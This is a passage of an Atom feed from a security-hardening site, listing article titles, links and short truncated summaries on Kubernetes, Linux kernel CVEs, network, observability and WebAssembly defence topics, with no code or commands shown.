    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Dynamic Resource Allocation (DRA) Security Hardening
Problem
Dynamic Resource Allocation (DRA) graduated to GA in Kubernetes 1.32 and is now the recommended mechanism for scheduling...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes In-Place Pod Resize Security: Admission Policy and Resource-Cap Enforcement on 1.33+</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-in-place-pod-resize-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-in-place-pod-resize-security/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes In-Place Pod Resize Security: Admission Policy and Resource-Cap Enforcement on 1.33+
Problem
Until 1.33, changing a Pod’s CPU or memory required deleting and recreating the Pod. The...</summary>
  </entry>
  
  <entry>
    <title>LLM Agents with kubectl Access: Prompt Injection from Logs and Manifests into Cluster Compromise</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-llm-agent-access-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-llm-agent-access-hardening/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>LLM Agents with kubectl Access: Prompt Injection from Logs and Manifests into Cluster Compromise
The Problem
In 2025, AI-powered SRE and platform engineering tools became standard infrastructure....</summary>
  </entry>
  
  <entry>
    <title>MCP Servers in Kubernetes: RBAC Scoping and Network Isolation for Agent Tool Backends</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-mcp-server-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-mcp-server-security/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>MCP Servers in Kubernetes: RBAC Scoping and Network Isolation for Agent Tool Backends
The Problem
The Model Context Protocol gives AI agents a structured interface to call tools: functions with...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Operator Security Disclosure: Reporting and Responding to Vulnerabilities in Custom Controllers</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-operator-security-disclosure/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-operator-security-disclosure/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Operator Security Disclosure: Reporting and Responding to Vulnerabilities in Custom Controllers
Problem
Kubernetes operators are not ordinary applications. They run as long-lived controller...</summary>
  </entry>
  
  <entry>
    <title>Post-Quantum Certificate Management in Kubernetes: Migrating Cluster PKI to Hybrid Certificates</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-post-quantum-pki/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-post-quantum-pki/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Post-Quantum Certificate Management in Kubernetes: Migrating Cluster PKI to Hybrid Certificates
Problem
Every Kubernetes cluster runs a layered certificate infrastructure that most platform teams...</summary>
  </entry>
  
  <entry>
    <title>runc CVE-2019-5736: Overwriting the Container Runtime from Inside a Container</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/runc-container-escape-cve-2019-5736/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/runc-container-escape-cve-2019-5736/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>runc CVE-2019-5736: Overwriting the Container Runtime from Inside a Container
The Problem
On February 11, 2019, Adam Iwaniuk and Borys Popławski disclosed CVE-2019-5736, a vulnerability in runc that...</summary>
  </entry>
  
  <entry>
    <title>AI-Generated System Code vs. the Linux Kernel&#39;s 30-Year Audit Trail</title>
    <link href="https://www.systemshardening.com/articles/linux/ai-generated-vs-open-source-kernel/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/ai-generated-vs-open-source-kernel/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>AI-Generated System Code vs. the Linux Kernel’s 30-Year Audit Trail
The Problem
The question is not whether LLMs write syntactically correct kernel code. They do. The question is whether that code...</summary>
  </entry>
  
  <entry>
    <title>Dirty Pipe (CVE-2022-0847): Writing to Read-Only Files Inside Containers</title>
    <link href="https://www.systemshardening.com/articles/linux/dirty-pipe-container-escape/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/dirty-pipe-container-escape/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Dirty Pipe (CVE-2022-0847): Writing to Read-Only Files Inside Containers
The Problem
CVE-2022-0847 was disclosed by Max Kellermann on March 7, 2022. He found it while debugging a data corruption issue...</summary>
  </entry>
  
  <entry>
    <title>AI-Discovered Linux LPE Chains: Patch Prioritisation and Kernel Hardening for the Fuzzer Era</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-ai-discovered-lpe-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-ai-discovered-lpe-defence/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>AI-Discovered Linux LPE Chains: Patch Prioritisation and Kernel Hardening for the Fuzzer Era
The Problem
In October 2024, Google’s Project Big Sleep — the successor to Project Naptime, pairing a large...</summary>
  </entry>
  
  <entry>
    <title>Linux BPF Token: Delegated Unprivileged eBPF Without CAP_BPF on the Host</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-bpf-token-unprivileged-ebpf/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-bpf-token-unprivileged-ebpf/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux BPF Token: Delegated Unprivileged eBPF Without CAP_BPF on the Host
Problem
eBPF is now the default observability and runtime-security plumbing on Linux: every Cilium, Tetragon, Pixie, Parca, and...</summary>
  </entry>
  
  <entry>
    <title>Linux kexec Hardening: Signed Kernel Loading and Lockdown Integration</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-kexec-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-kexec-hardening/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux kexec Hardening: Signed Kernel Loading and Lockdown Integration
Problem
kexec lets a privileged process load a new kernel image into memory and jump to it without going through firmware. It...</summary>
  </entry>
  
  <entry>
    <title>Residential Proxy Networks and Kernel-Level Bot Mitigation: nftables Rate-Limiting at the Host Edge</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-residential-proxy-bot-mitigation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-residential-proxy-bot-mitigation/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Residential Proxy Networks and Kernel-Level Bot Mitigation: nftables Rate-Limiting at the Host Edge
The Problem
IP reputation blocking has a structural blind spot: it assumes that malicious traffic...</summary>
  </entry>
  
  <entry>
    <title>MCP Server Hardening on Linux: Filesystem Scoping and Process Isolation</title>
    <link href="https://www.systemshardening.com/articles/linux/mcp-server-linux-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/mcp-server-linux-hardening/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>MCP Server Hardening on Linux: Filesystem Scoping and Process Isolation
The Problem
The Model Context Protocol (MCP), introduced by Anthropic in late 2024, is the standard protocol for connecting AI...</summary>
  </entry>
  
  <entry>
    <title>Open Source Security Release Process: CVE Assignment, Coordinated Disclosure, and Patching Linux Tools</title>
    <link href="https://www.systemshardening.com/articles/linux/oss-security-release-process/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/oss-security-release-process/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Open Source Security Release Process: CVE Assignment, Coordinated Disclosure, and Patching Linux Tools
Problem
Most open source Linux projects are maintained by small teams — sometimes a single person...</summary>
  </entry>
  
  <entry>
    <title>Post-Quantum SSH: Hybrid ML-KEM Key Exchange and ML-DSA Host Keys with OpenSSH 9.0+</title>
    <link href="https://www.systemshardening.com/articles/linux/post-quantum-ssh-openssh/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/post-quantum-ssh-openssh/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Post-Quantum SSH: Hybrid ML-KEM Key Exchange and ML-DSA Host Keys with OpenSSH 9.0+
Problem
SSH secures the control plane for virtually every serious infrastructure deployment. When you log into a...</summary>
  </entry>
  
  <entry>
    <title>Securing the Code Scanning Environment: Preventing Scan Bypass and Result Tampering on Linux</title>
    <link href="https://www.systemshardening.com/articles/linux/secure-code-scanning-environment/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/secure-code-scanning-environment/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Securing the Code Scanning Environment: Preventing Scan Bypass and Result Tampering on Linux
Problem
Security scanning in CI — SAST tools like Semgrep and CodeQL, SCA tools like Trivy and Grype —...</summary>
  </entry>
  
  <entry>
    <title>User Namespace Privilege Escalation: CVE-2023-32233 and the Netlink Attack Chain</title>
    <link href="https://www.systemshardening.com/articles/linux/user-namespace-cve-2023-32233/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/user-namespace-cve-2023-32233/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>User Namespace Privilege Escalation: CVE-2023-32233 and the Netlink Attack Chain
The Problem
CVE-2023-32233 was disclosed on May 8, 2023, alongside a patch authored by Pablo Neira Ayuso, the Netfilter...</summary>
  </entry>
  
  <entry>
    <title>AF_PACKET and CAP_NET_RAW: Two Kernel CVEs That Made the Default Docker Capability Set Dangerous</title>
    <link href="https://www.systemshardening.com/articles/network/af-packet-cap-net-raw-container-escape/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/af-packet-cap-net-raw-container-escape/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>AF_PACKET and CAP_NET_RAW: Two Kernel CVEs That Made the Default Docker Capability Set Dangerous
The Problem
Docker grants every container a fixed set of Linux capabilities without requiring...</summary>
  </entry>
  
  <entry>
    <title>Never Reimplement Crypto: Why AI-Generated TLS and Network Stacks Are Categorically Unsafe</title>
    <link href="https://www.systemshardening.com/articles/network/ai-generated-crypto-vs-open-source/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/ai-generated-crypto-vs-open-source/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Never Reimplement Crypto: Why AI-Generated TLS and Network Stacks Are Categorically Unsafe
The Problem
The security community has operated on a single durable maxim for thirty years: don’t roll your...</summary>
  </entry>
  
  <entry>
    <title>AI-Generated Polymorphic Payloads and the Death of Signature WAFs</title>
    <link href="https://www.systemshardening.com/articles/network/ai-generated-traffic-waf-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/ai-generated-traffic-waf-defence/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>AI-Generated Polymorphic Payloads and the Death of Signature WAFs
The Problem
Traditional WAFs operate on signatures: known-bad strings, regex patterns, and curated rule sets — OWASP CRS, AWS Managed...</summary>
  </entry>
  
  <entry>
    <title>API Schema Security Scanning: Detecting Auth Gaps, Injection Risks, and Data Exposure in OpenAPI and Protobuf</title>
    <link href="https://www.systemshardening.com/articles/network/api-schema-security-scanning/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/api-schema-security-scanning/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>API Schema Security Scanning: Detecting Auth Gaps, Injection Risks, and Data Exposure in OpenAPI and Protobuf
Problem
An OpenAPI file is not just documentation. It is the authoritative specification...</summary>
  </entry>
  
  <entry>
    <title>JA4 Fingerprint Evasion: The uTLS Arms Race and Detection Beyond TLS Fingerprinting</title>
    <link href="https://www.systemshardening.com/articles/network/ja4-fingerprint-evasion-bot-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/ja4-fingerprint-evasion-bot-detection/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>JA4 Fingerprint Evasion: The uTLS Arms Race and Detection Beyond TLS Fingerprinting
The Problem
JA3 (2017) and JA4 (2023) fingerprint TLS clients by hashing characteristics of the ClientHello message....</summary>
  </entry>
  
  <entry>
    <title>MASQUE and CONNECT-UDP Proxy Hardening: Production Egress Gateways for HTTP/3 Traffic</title>
    <link href="https://www.systemshardening.com/articles/network/masque-connect-udp-proxy-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/masque-connect-udp-proxy-hardening/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>MASQUE and CONNECT-UDP Proxy Hardening: Production Egress Gateways for HTTP/3 Traffic
Problem
MASQUE — Multiplexed Application Substrate over QUIC Encryption — is the IETF’s name for a family of...</summary>
  </entry>
  
  <entry>
    <title>MASQUE and CONNECT-UDP Proxy Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/network/masque-connect-udp-proxy-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/masque-connect-udp-proxy-security/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>MASQUE and CONNECT-UDP Proxy Security Hardening
Problem
MASQUE (Multiplexed Application Substrate over QUIC Encryption) is the IETF’s HTTP/3-native proxy framework. Two RFCs anchor its 2026...</summary>
  </entry>
  
  <entry>
    <title>MCP Transport Security: Closing the Authentication Gap in SSE and HTTP Transports</title>
    <link href="https://www.systemshardening.com/articles/network/mcp-transport-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/mcp-transport-security/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>MCP Transport Security: Closing the Authentication Gap in SSE and HTTP Transports
The Problem
MCP defines three transport types. Only one of them is safe by default.
stdio makes the MCP server a child...</summary>
  </entry>
  
  <entry>
    <title>Netfilter CVE-2022-1015 and CVE-2022-1016: Kernel Heap Overflow from Container Network Rules</title>
    <link href="https://www.systemshardening.com/articles/network/netfilter-container-escape-cve-2022-1015/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/netfilter-container-escape-cve-2022-1015/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Netfilter CVE-2022-1015 and CVE-2022-1016: Kernel Heap Overflow from Container Network Rules
The Problem
Every Kubernetes pod that runs with CAP_NET_ADMIN can reach into kernel heap memory through a...</summary>
  </entry>
  
  <entry>
    <title>Disclosing Vulnerabilities in Open Source Networking Software: Nginx, HAProxy, and Envoy</title>
    <link href="https://www.systemshardening.com/articles/network/oss-network-software-disclosure/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/oss-network-software-disclosure/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Disclosing Vulnerabilities in Open Source Networking Software: Nginx, HAProxy, and Envoy
Nginx, HAProxy, and Envoy sit at the boundary between the internet and every application behind them. A remote...</summary>
  </entry>
  
  <entry>
    <title>Post-Quantum TLS 1.3 in Production: Deploying X25519+ML-KEM-768 with OpenSSL 3.5, NGINX, and HAProxy</title>
    <link href="https://www.systemshardening.com/articles/network/tls-post-quantum-hybrid-deployment/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/tls-post-quantum-hybrid-deployment/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Post-Quantum TLS 1.3 in Production: Deploying X25519+ML-KEM-768 with OpenSSL 3.5, NGINX, and HAProxy
The Problem with Classical Key Exchange
TLS 1.3 fixed most of the negotiation complexity that...</summary>
  </entry>
  
  <entry>
    <title>Detecting LLM-Driven Bots Through Observability: Signals That Survive AI Mimicry</title>
    <link href="https://www.systemshardening.com/articles/observability/agentic-bot-detection-observability/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/agentic-bot-detection-observability/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Detecting LLM-Driven Bots Through Observability: Signals That Survive AI Mimicry
The Problem
Between 2024 and 2026, the two foundations of client-side bot detection collapsed in quick succession. TLS...</summary>
  </entry>
  
  <entry>
    <title>AI-Fabricated Log Evidence: Defending Forensic Pipelines Against LLM-Generated Log Forgery</title>
    <link href="https://www.systemshardening.com/articles/observability/ai-fabricated-log-forensics-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/ai-fabricated-log-forensics-detection/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>AI-Fabricated Log Evidence: Defending Forensic Pipelines Against LLM-Generated Log Forgery
The Problem
Logs are the primary evidence source for security investigations. They are also writable by any...</summary>
  </entry>
  
  <entry>
    <title>AI-Generated Monitoring vs. Open Source Observability Standards: The Ecosystem Argument</title>
    <link href="https://www.systemshardening.com/articles/observability/ai-generated-vs-open-source-observability/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/ai-generated-vs-open-source-observability/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>AI-Generated Monitoring vs. Open Source Observability Standards: The Ecosystem Argument
The Problem
Observability infrastructure is different from application code in one critical way: it has to...</summary>
  </entry>
  
  <entry>
    <title>eBPF Verifier Bugs: Privilege Escalation from Container Observability Tools</title>
    <link href="https://www.systemshardening.com/articles/observability/ebpf-verifier-privilege-escalation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/ebpf-verifier-privilege-escalation/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>eBPF Verifier Bugs: Privilege Escalation from Container Observability Tools
The Problem
eBPF’s security model rests on a single load-bearing component: the verifier. Before any eBPF program executes,...</summary>
  </entry>
  
  <entry>
    <title>Frontend RUM Security: Grafana Faro, Session Replay, and Browser Telemetry</title>
    <link href="https://www.systemshardening.com/articles/observability/frontend-rum-security-grafana-faro/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/frontend-rum-security-grafana-faro/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Frontend RUM Security: Grafana Faro, Session Replay, and Browser Telemetry
Problem
Real User Monitoring (RUM) collects telemetry from end-user browsers: page loads, route changes, exceptions, web...</summary>
  </entry>
  
  <entry>
    <title>Detecting Harvest-Now-Decrypt-Later: Monitoring for Quantum-Era Adversary Collection</title>
    <link href="https://www.systemshardening.com/articles/observability/harvest-now-decrypt-later-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/harvest-now-decrypt-later-detection/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Detecting Harvest-Now-Decrypt-Later: Monitoring for Quantum-Era Adversary Collection
Problem
Harvest-Now-Decrypt-Later (HNDL) is not a theoretical future concern. NSA, CISA, and NCSC advisories...</summary>
  </entry>
  
  <entry>
    <title>Auditing MCP Tool Calls: Building the Forensic Trail for Agent Actions</title>
    <link href="https://www.systemshardening.com/articles/observability/mcp-tool-call-audit-logging/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/mcp-tool-call-audit-logging/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Auditing MCP Tool Calls: Building the Forensic Trail for Agent Actions
The Problem
Traditional audit systems are built around a model where actions are taken by identifiable principals — a human user,...</summary>
  </entry>
  
  <entry>
    <title>Security Issues in Observability Tooling: Reporting Vulnerabilities in Prometheus, Grafana, and Elasticsearch</title>
    <link href="https://www.systemshardening.com/articles/observability/oss-observability-security-disclosure/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/oss-observability-security-disclosure/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Security Issues in Observability Tooling: Reporting Vulnerabilities in Prometheus, Grafana, and Elasticsearch
Observability tools occupy a privileged position in your infrastructure. Prometheus...</summary>
  </entry>
  
  <entry>
    <title>OpenTelemetry Profiles Signal Security: PII Leakage, Access Control, and Symbolisation Pipelines</title>
    <link href="https://www.systemshardening.com/articles/observability/otel-profiles-signal-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/otel-profiles-signal-security/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>OpenTelemetry Profiles Signal Security: PII Leakage, Access Control, and Symbolisation Pipelines
Problem
OpenTelemetry’s Profiles signal stabilised in 2025 and is now the canonical wire format for...</summary>
  </entry>
  
  <entry>
    <title>perf_event_open and Kernel Profiling as an Attack Surface: CVE-2023-2235 and Hardening Paranoid Mode</title>
    <link href="https://www.systemshardening.com/articles/observability/perf-event-kernel-attack-surface/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/perf-event-kernel-attack-surface/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>perf_event_open and Kernel Profiling as an Attack Surface: CVE-2023-2235 and Hardening Paranoid Mode
The Problem
perf_event_open() is a Linux syscall — number 298 on x86_64 — that opens a performance...</summary>
  </entry>
  
  <entry>
    <title>Correlating SAST Findings with Runtime Behaviour: Prioritising Reachable Vulnerabilities</title>
    <link href="https://www.systemshardening.com/articles/observability/sast-runtime-correlation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/sast-runtime-correlation/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Correlating SAST Findings with Runtime Behaviour: Prioritising Reachable Vulnerabilities
Problem
Static Application Security Testing (SAST) tools are noisy by design. A single scan of a...</summary>
  </entry>
  
  <entry>
    <title>AI-Generated WASM Runtimes vs. Wasmtime and WasmEdge: Why Implementation Correctness Is the Security Model</title>
    <link href="https://www.systemshardening.com/articles/wasm/ai-generated-wasm-runtime-risk/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/ai-generated-wasm-runtime-risk/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>AI-Generated WASM Runtimes vs. Wasmtime and WasmEdge: Why Implementation Correctness Is the Security Model
Problem
The WebAssembly specification, maintained by the W3C WebAssembly Community Group,...</summary>
  </entry>
  
  <entry>
    <title>WASI Preview 2 and the Component Model: What Capability-Based Isolation Actually Prevents</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasi-preview2-capability-isolation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasi-preview2-capability-isolation/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASI Preview 2 and the Component Model: What Capability-Based Isolation Actually Prevents
The Problem
WASI Preview 1 (2019) gave WebAssembly modules a POSIX-like interface to the outside world. A...</summary>
  </entry>
  
  <entry>
    <title>WASM Bot Challenges: The Reverse-Engineering Arms Race and Integrity Controls</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-bot-challenge-integrity/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-bot-challenge-integrity/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Bot Challenges: The Reverse-Engineering Arms Race and Integrity Controls
The Problem
All major bot detection vendors — Cloudflare, DataDome, Akamai, PerimeterX/HUMAN, Kasada — ship WebAssembly...</summary>
  </entry>
  
  <entry>
    <title>Hybrid PQC Key Encapsulation in Browser WASM: ML-KEM Integration for End-to-End Encrypted Web Applications</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-browser-pqc-key-encapsulation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-browser-pqc-key-encapsulation/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Hybrid PQC Key Encapsulation in Browser WASM: ML-KEM Integration for End-to-End Encrypted Web Applications
Problem
Browser applications performing end-to-end encryption have one built-in option for...</summary>
  </entry>
  
  <entry>
    <title>WASM as Kernel-Independent Isolation: CVE-2023-26114 and the Residual Shared-Kernel Risk</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-kernel-independent-isolation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-kernel-independent-isolation/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM as Kernel-Independent Isolation: CVE-2023-26114 and the Residual Shared-Kernel Risk
The Problem
The conventional pitch for WebAssembly as a security primitive goes like this: a WASM module...</summary>
  </entry>
  
  <entry>
    <title>On-Device WASM Model Extraction: Defending Transformers.js and ONNX-WASM Against Weight Stealing</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-on-device-llm-extraction-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-on-device-llm-extraction-defence/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>On-Device WASM Model Extraction: Defending Transformers.js and ONNX-WASM Against Weight Stealing
The Problem
On-device AI inference via WebAssembly has moved from research curiosity to production...</summary>
  </entry>
  
  <entry>
    <title>WASM Runtime Security Disclosures: Tracking and Responding to Wasmtime, V8, and WasmEdge CVEs</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-runtime-security-disclosures/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-runtime-security-disclosures/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Runtime Security Disclosures: Tracking and Responding to Wasmtime, V8, and WasmEdge CVEs
Problem
When you deploy a WASM sandbox to run untrusted code — a third-party plugin, user-uploaded logic,...</summary>
  </entry>
  
  <entry>
    <title>WASM-Sandboxed MCP Tool Implementations: Containing the Blast Radius of Agent Tool Execution</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-sandboxed-mcp-tools/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-sandboxed-mcp-tools/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM-Sandboxed MCP Tool Implementations: Containing the Blast Radius of Agent Tool Execution
The Problem
Standard MCP server implementations run tool functions as native code in the same process as...</summary>
  </entry>
  
  <entry>
    <title>Security Scanning for WebAssembly: SAST for Rust Source and Binary Analysis of Compiled Modules</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-security-scanning-pipeline/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-security-scanning-pipeline/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="wasm"/>
